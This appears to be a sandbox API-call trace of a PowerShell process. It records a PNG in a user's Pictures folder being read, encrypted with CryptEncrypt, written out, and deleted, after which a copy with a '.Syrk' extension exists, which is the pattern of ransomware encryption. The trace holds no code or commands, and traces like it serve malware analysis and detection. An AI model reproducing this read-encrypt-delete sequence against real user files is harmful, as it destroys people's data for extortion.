EtwEventActivityIdControl () returned 0x0 [0245.007] EtwEventActivityIdControl () returned 0x0 [0245.009] EtwEventActivityIdControl () returned 0x0 [0245.009] ReadFile (in: hFile=0x454, lpBuffer=0x254dcbc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x254dcbc*, lpNumberOfBytesRead=0x5a2e7d8*=0xa1db, lpOverlapped=0x0) returned 1 [0245.017] CryptEncrypt (in: hKey=0x5c996a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23733fc*, pdwDataLen=0x5a2e7cc*=0xa1d0, dwBufLen=0xa1d0 | out: pbData=0x23733fc*, pdwDataLen=0x5a2e7cc*=0xa1d0) returned 1 [0245.017] WriteFile (in: hFile=0x1d4, lpBuffer=0x235df8c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x235df8c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0245.019] WriteFile (in: hFile=0x1d4, lpBuffer=0x23743e8*, nNumberOfBytesToWrite=0x91e4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23743e8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x91e4, lpOverlapped=0x0) returned 1 [0245.021] ReadFile (in: hFile=0x454, lpBuffer=0x235f3f0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x235f3f0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0245.021] CryptEncrypt (in: hKey=0x5c996a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x237d5e4*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x237d5e4*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0245.021] CryptEncrypt (in: hKey=0x5c996a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x237d600*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x237d600*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0245.021] WriteFile (in: hFile=0x1d4, lpBuffer=0x235df8c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x235df8c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0245.022] CloseHandle (hObject=0x1d4) returned 1 [0245.024] CloseHandle (hObject=0x454) returned 1 [0245.024] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.025] EtwEventActivityIdControl () returned 0x0 [0245.025] EtwEventActivityIdControl () returned 0x0 [0245.025] EtwEventActivityIdControl () returned 0x0 [0245.032] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png")) returned 0x20 [0245.042] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0245.042] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", lpFilePart=0x0) returned 0x33 [0245.043] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.043] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.043] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0245.043] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.043] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.043] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.044] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0245.044] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0245.044] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.044] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0245.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0245.044] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.044] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0245.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0245.045] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png")) returned 0x20 [0245.045] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0245.045] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", lpFilePart=0x0) returned 0x33 [0245.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0245.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", lpFilePart=0x0) returned 0x33 [0245.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0245.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0245.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", lpFilePart=0x0) returned 0x33 [0245.048] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0245.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0245.048] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0245.049] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0245.049] CoTaskMemFree (pv=0x5c98368) [0245.051] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png")) returned 0x20 [0245.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0245.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", lpFilePart=0x0) returned 0x33 [0245.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0245.051] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png"), fInfoLevelId=0x0, lpFileInformation=0x23891a4 | out: lpFileInformation=0x23891a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92698860, ftCreationTime.dwHighDateTime=0x1d991b8, ftLastAccessTime.dwLowDateTime=0x9e368150, ftLastAccessTime.dwHighDateTime=0x1d996a6, ftLastWriteTime.dwLowDateTime=0x9e368150, ftLastWriteTime.dwHighDateTime=0x1d996a6, nFileSizeHigh=0x0, nFileSizeLow=0xa1db)) returned 1 [0245.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0245.051] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png")) returned 1 [0245.055] EtwEventActivityIdControl () returned 0x0 [0245.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.056] EtwEventActivityIdControl () returned 0x0 [0245.056] EtwEventActivityIdControl () returned 0x0 [0245.056] EtwEventActivityIdControl () returned 0x0 [0245.063] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png.syrk")) returned 0x20 [0245.064] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png.syrk")) returned 0x20 [0245.065] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0245.065] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk", lpFilePart=0x0) returned 0x38 [0245.065] EtwEventActivityIdControl () returned 0x0 [0245.065] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.066] EtwEventActivityIdControl () returned 0x0 [0245.066] EtwEventActivityIdControl () returned 0x0 [0245.066] EtwEventActivityIdControl () returned 0x0 [0245.072] EtwEventActivityIdControl () returned 0x0 [0245.072] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.073] EtwEventActivityIdControl () returned 0x0 [0245.073] EtwEventActivityIdControl () returned 0x0 [0245.073] EtwEventActivityIdControl () returned 0x0 [0245.076] EtwEventActivityIdControl () returned 0x0 [0245.077] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.077] EtwEventActivityIdControl () returned 0x0 [0245.077] EtwEventActivityIdControl () returned 0x0 [0245.077] EtwEventActivityIdControl () returned 0x0 [0245.081] EtwEventActivityIdControl () returned 0x0 [0245.081] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.082] EtwEventActivityIdControl () returned 0x0 [0245.082] EtwEventActivityIdControl () returned 0x0 [0245.082] EtwEventActivityIdControl () returned 0x0 [0245.096] EtwEventActivityIdControl () returned 0x0 [0245.097] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.098] EtwEventActivityIdControl () returned 0x0 [0245.098] EtwEventActivityIdControl () returned 0x0 [0245.098] EtwEventActivityIdControl () returned 0x0 [0245.102] EtwEventActivityIdControl () returned 0x0 [0245.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0245.109] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23933d0 | out: lpFileInformation=0x23933d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbcc5b0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xdbcc5b0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xdc18870, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xa1f4)) returned 1 [0245.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0245.110] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0245.111] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0245.111] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0245.113] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0245.113] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0245.115] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0245.115] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0245.116] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0245.116] GetConsoleOutputCP () returned 0x1b5 [0245.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0245.117] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0245.117] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0245.118] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23ade1c*, nNumberOfCharsToWrite=0x2a, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x23ade1c*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2a) returned 1 [0245.118] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0245.118] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0245.119] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0245.120] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0245.120] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0245.121] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0245.121] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0245.121] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0245.122] GetConsoleOutputCP () returned 0x1b5 [0245.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0245.122] GetConsoleOutputCP () returned 0x1b5 [0245.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0245.123] GetConsoleOutputCP () returned 0x1b5 [0245.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0245.123] GetConsoleOutputCP () returned 0x1b5 [0245.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0245.123] GetConsoleOutputCP () returned 0x1b5 [0245.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0245.123] GetConsoleOutputCP () returned 0x1b5 [0245.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0245.124] GetConsoleOutputCP () returned 0x1b5 [0245.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0245.124] GetConsoleOutputCP () returned 0x1b5 [0245.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0245.124] GetConsoleOutputCP () returned 0x1b5 [0245.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0245.125] GetConsoleOutputCP () returned 0x1b5 [0245.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0245.125] GetConsoleOutputCP () returned 0x1b5 [0245.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0245.125] GetConsoleOutputCP () returned 0x1b5 [0245.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0245.126] GetConsoleOutputCP () returned 0x1b5 [0245.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0245.126] GetConsoleOutputCP () returned 0x1b5 [0245.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0245.126] GetConsoleOutputCP () returned 0x1b5 [0245.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0245.126] GetConsoleOutputCP () returned 0x1b5 [0245.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0245.127] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0245.127] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0245.127] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23ae778*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x23ae778*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0245.128] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0245.128] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0245.129] GetConsoleOutputCP () returned 0x1b5 [0245.129] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0245.130] GetConsoleOutputCP () returned 0x1b5 [0245.130] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0245.130] GetConsoleOutputCP () returned 0x1b5 [0245.130] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0245.130] GetConsoleOutputCP () returned 0x1b5 [0245.130] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0245.130] GetConsoleOutputCP () returned 0x1b5 [0245.131] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0245.131] GetConsoleOutputCP () returned 0x1b5 [0245.131] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0245.131] GetConsoleOutputCP () returned 0x1b5 [0245.131] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0245.131] GetConsoleOutputCP () returned 0x1b5 [0245.131] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0245.131] GetConsoleOutputCP () returned 0x1b5 [0245.132] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0245.132] GetConsoleOutputCP () returned 0x1b5 [0245.132] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0245.132] GetConsoleOutputCP () returned 0x1b5 [0245.132] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0245.132] GetConsoleOutputCP () returned 0x1b5 [0245.132] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0245.132] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0245.133] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0245.133] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23aec20*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x23aec20*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0245.134] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0245.134] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0245.135] GetConsoleOutputCP () returned 0x1b5 [0245.135] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.135] GetConsoleOutputCP () returned 0x1b5 [0245.135] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.135] GetConsoleOutputCP () returned 0x1b5 [0245.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.136] GetConsoleOutputCP () returned 0x1b5 [0245.136] 